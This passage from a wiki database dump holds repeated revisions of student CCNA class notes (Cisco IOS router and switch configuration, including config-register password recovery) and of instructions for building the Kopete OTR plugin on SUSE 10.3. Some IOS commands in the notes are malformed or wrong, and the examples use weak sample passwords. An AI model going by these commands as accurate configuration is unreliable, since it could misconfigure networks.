route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server #configures DNS server IP\nno ip domain-lookup #disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec #privileged mode\nalias configure #Global Config mode\nalias interfaces #interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0 #greps for that int \nsh run int #shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1 #defines the rule\nline vty 0 4 #selects interface \naccess-list 5 in #set ACL and direction\n\nsh access list #view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5 #removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\'\'\'Switching Basics and Intermediate Routing\'\'\'\n\nMore exciting adventures to come . . .\n\n\n== CCNA 4 ==\n\n\'\'\'WAN Technologies\'\'\'\n\nyOu ArE tHe tRuE, woRmlY StEw PoT !!! WhAt a GeEk !!! i FoUnD YoUr pAgE.\n\nbY\n\nYbE Bor','utf-8'),(65,'','utf-8'),(66,'','utf-8'),(67,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\nIf you are actually running Suse 10.3 and just want to install the .rpm packages and forgo the stimulating procedures herein they can be found at the end.\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make, make install\n\nBetter than make install, run checkinstall to make the rpm and install it that way, this way the RPM database will be aware of the installation and future rpm depedanceis will be resolved correctly. For example - if you do not do this and then try to make and install the RPM for Kopete in the next section you will get warnings that libotr.s0.2 is missing when in fact it is in /usr/lib. By creating and installing lib-otr as an RPM the RPM database will be aware of it, you can proceed with makeing and installing the RPM for the Kopete plug in.\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another systems, etc.)\n\n\n== Compiled RPMs ==\n\nHave Open Suse 10.3 and just want to skip all the work?\n\nHere are the RPM for the above, ready to go:\n\n [[Media:Libotr-3.1.0-1.i386.rpm]]\n\n [[Media:]]','utf-8'),(68,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\nIf you are actually running Suse 10.3 and just want to install the .rpm packages and forgo the stimulating procedures herein they can be found at the end.\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make, make install\n\nBetter than make install, run checkinstall to make the rpm and install it that way, this way the RPM database will be aware of the installation and future rpm depedanceis will be resolved correctly. For example - if you do not do this and then try to make and install the RPM for Kopete in the next section you will get warnings that libotr.s0.2 is missing when in fact it is in /usr/lib. By creating and installing lib-otr as an RPM the RPM database will be aware of it, you can proceed with makeing and installing the RPM for the Kopete plug in.\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another systems, etc.)\n\n\n== Compiled RPMs ==\n\nHave Open Suse 10.3 and just want to skip all the work?\n\nHere are the RPM for the above, ready to go:\n\n [[Media:Libotr-3.1.0-1.i386.rpm]]\n\n [[Media:Kopete-otr-0.7-1.i386.rpm]]','utf-8'),(69,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFrom the official website at: http://www.cypherpunks.ca/otr/ \n\nOTR is described as:\n\nOff-the-Record (OTR) Messaging allows you to have private conversations over instant messaging by providing: \n\nEncryption\n\nNo one else can read your instant messages.\nAuthentication\nYou are assured the correspondent is who you think it is.\n\nDeniability\n\nThe messages you send do not have digital signatures that are checkable by a third party. Anyone can forge messages after a conversation to make them look like they came from you. However, during a conversation, your correspondent is assured the messages he sees are authentic and unmodified. \n\nPerfect forward secrecy\nIf you lose control of your private keys, no previous conversation is compromised.\n
\n\'\'\'Installing OTR for Kopete under Suse 10.3\'\'\'\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\nIf you are actually running Suse 10.3 and just want to install the .rpm packages and forgo the stimulating procedures herein they can be found at the end.\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make, make install\n\nBetter than make install, run checkinstall to make the rpm and install it that way, this way the RPM database will be aware of the installation and future rpm depedanceis will be resolved correctly. For example - if you do not do this and then try to make and install the RPM for Kopete in the next section you will get warnings that libotr.s0.2 is missing when in fact it is in /usr/lib. By creating and installing lib-otr as an RPM the RPM database will be aware of it, you can proceed with makeing and installing the RPM for the Kopete plug in.\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another systems, etc.)\n\n\n== Compiled RPMs ==\n\nHave Open Suse 10.3 and just want to skip all the work?\n\nHere are the RPM for the above, ready to go:\n\n [[Media:Libotr-3.1.0-1.i386.rpm]]\n\n [[Media:Kopete-otr-0.7-1.i386.rpm]]','utf-8'),(70,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFrom the official website at: http://www.cypherpunks.ca/otr/ \n\nOTR is described as:\n\nOff-the-Record (OTR) Messaging allows you to have private conversations over instant \nmessaging by providing: \n\nEncryption\n\nNo one else can read your instant messages.\nAuthentication\nYou are assured the correspondent is who you think it is.\n\nDeniability\n\nThe messages you send do not have digital signatures that are checkable by a third party. \nAnyone can forge messages after a conversation to make them look like they came from you.\nHowever, during a conversation, your correspondent is assured the messages he sees are \nauthentic and unmodified. \n\nPerfect forward secrecy\n\nIf you lose control of your private keys, no previous conversation is compromised.\n
\n\'\'\'Installing OTR for Kopete under Suse 10.3\'\'\'\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\nIf you are actually running Suse 10.3 and just want to install the .rpm packages and forgo the stimulating procedures herein they can be found at the end.\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make, make install\n\nBetter than make install, run checkinstall to make the rpm and install it that way, this way the RPM database will be aware of the installation and future rpm depedanceis will be resolved correctly. For example - if you do not do this and then try to make and install the RPM for Kopete in the next section you will get warnings that libotr.s0.2 is missing when in fact it is in /usr/lib. By creating and installing lib-otr as an RPM the RPM database will be aware of it, you can proceed with makeing and installing the RPM for the Kopete plug in.\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs: \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another systems, etc.)\n\n\n== Compiled RPMs ==\n\nHave Open Suse 10.3 and just want to skip all the work?\n\nHere are the RPM for the above, ready to go:\n\n [[Media:Libotr-3.1.0-1.i386.rpm]]\n\n [[Media:Kopete-otr-0.7-1.i386.rpm]]','utf-8'),(71,'__FORCETOC__ [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\n\'\'\'Networking Bascis\'\'\'\n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config #clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr #to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102 default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142 #ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o #Displays current config register\n\n>o/r 0x2142 #Set to 2142 hex\n\n>I #Initialize\n\nOnce in IOS:\n\nCopy star run #copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run #shows current passwords\n\nChange password(s)\n\nCopy run star #save modified settings to NVRAM\n\nSh ver #verify config register is 0x2102 now\n\nPower off and on (or \'reload\')\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n\n\n3.Auxiliary password\n\nLine aux 0\n\n\n4.Privileged mode – level 15 commands\n\na.Enable password < > Type 7 – weak password\nb.Enable secret < > MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup (stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://:port number\n\n== CCNA 2 ==\n\n\'\'\'Routers and Routing Basics\'\'\'\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp \n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users #shows connected users and lines\n\nclear #bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27 #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 #uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route # views routing tables\n\nsh ip protocol # view info on RIP timers\n\ntracert # view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0 # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server #configures DNS server IP\nno ip domain-lookup #disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec #privileged mode\nalias configure #Global Config mode\nalias interfaces #interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0 #greps for that int \nsh run int #shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1 #defines the rule\nline vty 0 4 #selects interface \naccess-list 5 in #set ACL and direction\n\nsh access list #view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5 #removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\'\'\'Switching Basics and Intermediate Routing\'\'\'\n\n\'\'\'CCNA 3 Final Exam Notes:\'\'\'\n\n\'\'\'0)Clear configs\'\'\'\n\nCAT: Clear config all / reset\n\nIOS: Erase star / reload (router)\n\nIOS: erase nvram\n vlan database\n no vtp password\n vtp transparent\n vtp client\n exit (to apply changes)\n
\n\n\'\'\'1.Hostname and Ips\'\'\'\n\nCAT: hostname (ct)\nIOS: set system name \n\nCAT: set int sc0 172.16.10.2 255.255.255.0 172.16.10.255\nIOS: int vlan 1 \n ip \n no shut\n
\n\n\'\'\'2.Configure Trunk Lines\'\'\'\n\n\nCAT: set trunk 2/3 on dot1q\n set trunk 2/4 on dot1q\n sh trunk\n\nIOS: int fa0/11 \n swtchport mode trunk\n switchport trunk allowed vlan 1\n sh int fa0/11 switchport\n\n Ping from distro to access to confirm trunking functionality\n\n
\n\'\'\'3.Switch wins root spanning tree\'\'\'\n\n\nCAT: set spantree root 1\nIOS: spanning-tree vlan 1 priority <1>\n sh spanning-tree vlan 1\n\n In CatOS sh trunk will show mac of root switch and Cat switch mac to tell if it\'s root.\n
\n\n\'\'\'4.Enable UplinkFast on 2900\'\'\'\n\nIOS: span uplink fast\n
\n\'\'\'5.VTP Client / Server & VTP Secure\'\'\'\n\nCAT: set vtp domain Block1 mode transparent\n sh vtp domain\n set vtp mode server Switch#vtp password WATER\n\nIOS: vtp mode transparent / client / server\n vtp domain Block1\n no vlan # - to erase a vlan from config\n sh vtp status\n sh vlan vtp domain password \n\nVLANs should propagate from distro to access\n
\n\n\'\'\'6.Assign ports to VLAN on Catalyst 2900\'\'\'\n\nIOS: int fa0/1 \n switchport access vlan 2 <3>\n
\n\'\'\'7.Create VLAN on Distro Switch\'\'\'\n\nCAT: set vlan 2 name GroupA\n set vlan 3 name GroupB\n\n
\n\'\'\'8.Inter VLAN Routing using external router\'\'\'\n\nOn distro switch:\n\nset port duplex 2/14 full\nset port name 2/14 blah\nset trunk 2/14 on dot1q\nsh trunk 2/14\n\nOn router:\n \ninf fa0/0\nfull duplex\nno ip address\nno shut\n\nint fa0/0.1 (.2,.3) //config sub interface\nencap dot1q 1 (2,3)\nip address 172.16.10.X 255.255.255.0\n \nsh int fa0/0\nsh ip int br\nsh ip route\n \nSet IP\'s on PC\'s to corresponding network int on Boarder router.\nE.g. Host A gateway = 172.16.20.1\n\nPing from each host to gateway and to each other to confirm inter Vlan routing\nNote: You may not be able to ping from Boarder router to access / distro, this \ndoes not matter as you can ping from Host to boarder, etc.\n
\n\n\'\'\'9.OSPF / EIGRP and Route Propagation\'\'\'\n\n EIGRP:\n int ser 0/0\n ip address \n router eigrp 10 //AS number\n network 172.16.10.0 //advertises network \n network 192.168.50.0 \n (Route may be auto-summarized. If discontinuous network this may affect routing.) \n\n int ser 0/0\n clockrate 56000 //On DCE side (sh controllers int serial 0/0 for DCE / DTE mode)\n bandwidth 56\n no shut\n\n int lo0(1,2)\n ip address 192.168.50.x 255.255.255.252 (/30)\n\n \n OSPF:\n router ospf 1 //OSPF Process Number\n network x.x.x.x 0.0.0.255 area 0 //advertises network\n \n sh ip route\n sh ip ospf int serial 0/0\n sh ip ospf neighbor\n\n clear ip ospf process //Clears OSPF routing process\n\n ping from each host to loopback interfaces out Outside router\n\n
\n\'\'\'8. OSPF Authentication\'\'\' \n\n int serial 0/0\n ip ospf message-digest-key 1 md5 \n router ospf 1\n area 0 auth message-digest //enables md5 for area 0\n\n debug ip ospf events\n Helps to isolate md5 issues, etc. as update packets are sent.\n u all //debug off\n
\n\n== CCNA 4 ==\n\n\'\'\'WAN Technologies\'\'\'\n\nyOu ArE tHe tRuE, woRmlY StEw PoT !!! WhAt a GeEk !!! i FoUnD YoUr pAgE.\n\nbY\n\nYbE Bor','utf-8'),(72,'__FORCETOC__ [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\n\'\'\'Networking Bascis\'\'\'\n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config #clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr #to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102 default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142 #ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o #Displays current config register\n\n>o/r 0x2142 #Set to 2142 hex\n\n>I #Initialize\n\nOnce in IOS:\n\nCopy star run #copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run #shows current passwords\n\nChange password(s)\n\nCopy run star #save modified settings to NVRAM\n\nSh ver #verify config register is 0x2102 now\n\nPower off and on (or \'reload\')\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n\n\n3.Auxiliary password\n\nLine aux 0\n\n\n4.Privileged mode – level 15 commands\n\na.Enable password < > Type 7 – weak password\nb.Enable secret < > MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup (stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://:port number\n\n== CCNA 2 ==\n\n\'\'\'Routers and Routing Basics\'\'\'\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp \n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp neighbors\n\nsh cdp neighbors detail\n\nrouter odr #enables ODR on hub router\n\n\'\'\'Configuring VTY Usernames & PW\'\'\'\n\nrouterB(config)#username admin privilege 15 password guru\n\nConfigure VTY to use a local database rather than password prompt:\n\nRouterB(config)# line vty 0 4\nRouterB(config-line)#no password\nRouterB(config-line)#login local\n\n\'\'\'Creating a new user level and defining access:\'\'\'\n\nRouterB(config)#username support privilage 7 password novice\nRouterB(config)#privilege exec level 7 show star\nRouterB(config)#privilege exec level 7 configure terminal\nRouterB(config)#privilege configure level 7 interface \nRouterB(config)#privilege interface level 7 no shut\n\nshow privileges #show your current privilege level\n\nsh users #shows connected users and lines\n\nclear #bumps that line\n\nctrl-shift-6 +x default escape sequence \n\nRouterB(config-line)#login\nRouterB(config-line)#escape-sequence 27 #sets escape seq. to ASCII 27 (Esc)\n\n\n\'\'\'RIP:\'\'\'\n\nRouterB(config)#router rip\nRouterB(config-router)#version 2 #uses ver. 2, subnetting\nRouterB(config-router)#network 172.16.0.0\n\nsh ip route # views routing tables\n\nsh ip protocol # view info on RIP timers\n\ntracert # view what route to dest is active\n\n\n\'\'\'Static Routes:\'\'\'\n\nAdd static routes for RouterB\n\nip route 172.16.10.1 255.255.255.0 172.16.20.1\nip route 172.16.50.1 255.255.255.0 172.16.40.2\n\nno ip route 172.16.10.1 255.255.255.0 # to remove route\n\n\nfloating static route:\n\nRouterB(config)#ip route 172.16.50.1 255.255.255.0 172.16.50.1 255.255.255.0 130\n\n\n\'\'\'Host Tables:\'\'\'\n\nRouterC(config)#ip host ra 172.16.10.1\nRouterC(config)#ip host rc 172.16.50.1\n\nsh hosts\n\nip name-server #configures DNS server IP\nno ip domain-lookup #disables DNS lookup \n\n\n\'\'\'Alias:\'\'\'\n\nalias exec #privileged mode\nalias configure #Global Config mode\nalias interfaces #interfece config mode\n\nsh aliases\n\nMisc:\n\nsh run | int s0 #greps for that int \nsh run int #shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1 #defines the rule\nline vty 0 4 #selects interface \naccess-list 5 in #set ACL and direction\n\nsh access list #view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5 #removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\'\'\'Switching Basics and Intermediate Routing\'\'\'\n\n\'\'\'CCNA 3 Final Exam Notes:\'\'\'\n\n\'\'\'0)Clear configs\'\'\'\n\nCAT: Clear config all / reset\n\nIOS: Erase star / reload (router)\n\nIOS: erase nvram\n vlan database\n no vtp password\n vtp transparent\n vtp client\n exit (to apply changes)\n
\n\n\'\'\'1.Hostname and Ips\'\'\'\n\nCAT: hostname (ct)\nIOS: set system name \n\nCAT: set int sc0 172.16.10.2 255.255.255.0 172.16.10.255\nIOS: int vlan 1 \n ip \n no shut\n
\n\n\'\'\'2.Configure Trunk Lines\'\'\'\n\n\nCAT: set trunk 2/3 on dot1q\n set trunk 2/4 on dot1q\n sh trunk\n\nIOS: int fa0/11 \n swtchport mode trunk\n switchport trunk allowed vlan 1\n sh int fa0/11 switchport\n\n Ping from distro to access to confirm trunking functionality\n\n
\n\'\'\'3.Switch wins root spanning tree\'\'\'\n\n\nCAT: set spantree root 1\nIOS: spanning-tree vlan 1 priority <1>\n sh spanning-tree vlan 1\n\n In CatOS sh trunk will show mac of root switch and Cat switch mac to tell if it\'s root.\n
\n\n\'\'\'4.Enable UplinkFast on 2900\'\'\'\n\nIOS: span uplink fast\n
\n\'\'\'5.VTP Client / Server & VTP Secure\'\'\'\n\nCAT: set vtp domain Block1 mode transparent\n sh vtp domain\n set vtp mode server Switch#vtp password WATER\n\nIOS: vtp mode transparent / client / server\n vtp domain Block1\n no vlan # - to erase a vlan from config\n sh vtp status\n sh vlan vtp domain password \n\nVLANs should propagate from distro to access\n
